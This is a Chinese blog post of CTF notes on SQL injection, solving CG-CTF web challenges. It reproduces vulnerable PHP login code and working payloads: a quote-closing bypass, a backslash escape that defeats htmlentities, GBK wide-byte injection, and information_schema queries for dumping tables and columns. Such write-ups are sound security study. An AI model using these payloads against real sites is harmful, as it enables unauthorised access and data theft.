# SQL 注入笔记

原创

PenGoFox 于 2020-09-27 12:47:36 发布 46 收藏

分类专栏： 注入 CG-CTF 文章标签： sql 安全 php mysql



本文链接：https://blog.csdn.net/LOYlSHEN/article/details/108825715



注入 同时被 2 个专栏收录

0 篇文章 0 订阅

订阅专栏

CG-CTF

1 篇文章 0 订阅

订阅专栏

## SQL Injection

> CG-CTF-WEB

**SQL 注入**

一般都是弄到源码之后，根据源码和能输入的字符，闭合某些字段，屏蔽后面的字段，然后在这中间插入自己的查询语句。

## 简单的注入

> 原题：SQL注入1

源网页代码如下：

```
<html>
<head>
Secure Web Login
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>
```

分析源代码，可以发现程序员对我们的输入进行了一定的反注入设置，特意在条件里面添加了引号和括号。

不过这个注入也是很简单，提前匹配引号和括号即可，至于后面的，可以使用注释符号 `#` 来注释掉。

输入的 `username` 为：`') or 1=1 #'` ， `password` 可以不用管，然后就能构造出以下的 sql 语句了：

```
select user from ctf where (user='') or 1=1 #')' and (pw='')
```

提交之后，成功获得 flag 。

## 绕开 htmlentities

> 原题：SQL Injection
> 参考：PHP htmlentities() 函数

PHP 代码如下：

```php
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
 if(get_magic_quotes_gpc()){
  $str=stripslashes($str);
 }
 return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
 die('Invalid password!');
}

echo $flag;
```

可以通过注入来获取 flag 。但是因为有一个 `clean()` 函数，里面的 `htmlentities()` 函数是把字符串转化为网页可显示的字符串，也就是会转义单引号、双引号等字符。因此就不能直接写 sql 语句进行注入。

不过题目提示的有 *反斜杠可以用来转义* 。由于经验不是很足，所以在看到提示之后也还是没有什么头绪，最后在网上找了一下 writeup 看了下，发现可以把 `name = ''` 里面最后一个单引号转义掉，这样 `name` 后面第一个单引号就能够跟 `pass = ''` 前面的单引号配对了，此时只需要在传递的 `username` 的字符串最后加一个反斜杠 `\` 就可以转义了。

下面是浏览器的请求：

```
?username=admin \&password= or 1=1 %23
```

就能构造出以下的 `query` 了：

```
SELECT * FROM users WHERE name='admin \' and password = ' or 1=1 #'
```

完成注入，获得 flag ！

## 宽字符注入（GBK 注入）

> 参考：gbk字符编码和宽字节sql注入 、CGCTF——GBK Injection

在 SQL 中，假如第一个字符的值大于 128 ，则它会被认为是一个汉字的首字节（认为汉字是2个字节），然后就可以在浏览器输入一些字符达到这个条件来注入。

比如，有这样一条 sql 语句：

```
select id, title from news where id = '1';
```

这个是固定的 sql 语句，我们能够在浏览器改变的是 id 的值。

因为 PHP 默认会对所有的 GET、POST 和 COOKIE 数据自动进行 `addslashes()` ，我们输入的单引号会被处理成为 `\'` ，利用这个特点和宽字符的特点，我们完全可以构造一个宽字符，直接把处理后的 `\'` 里面的 `\` 当做是汉字的第二个字节，然后后面的 `'` 就会封闭 `id` 字段的查询，进行后面的注入操作了：

```
select id, title from news where id = '1珮' and 1=2 #';
```

构造出这条 sql 语句的浏览器输入为：

```
?id=1%af%27and 1=2 %23
```

**解析**：只要有一个字符的值大于 128 时就可以被判断成汉字，所以 `1` 后面的字符可以是任意大于 128 的字符。浏览器输入的这条语句在经过 `addslashes()` 后，会在 `%27` 也就是 `'` 前加一个反斜杠变成 `\'` ，然后 `%af` 字节跟 `\` 字节在 mysql 中就被认为是一个汉字而过滤掉反斜杠，然后就剩下一个单引号闭合前面的单引号，后面就可以加入自己的 sql 语句了。

## 一些爆表的语句

> 来源于网络：CG-CTF的GBK - injection

爆出数据库的名字

```
select database();
```

爆出数据库下的所有表名

```
select group_concat(table_name) from information_schema.tables where table_schema=数据库名;
```

爆出某个表的所有字段

```
select group_concat(column_name) from information_schema.columns where table_name=表名;
```

获取所有的表数据

```
select group_concat(字段名1，字段名2) from 表名;
```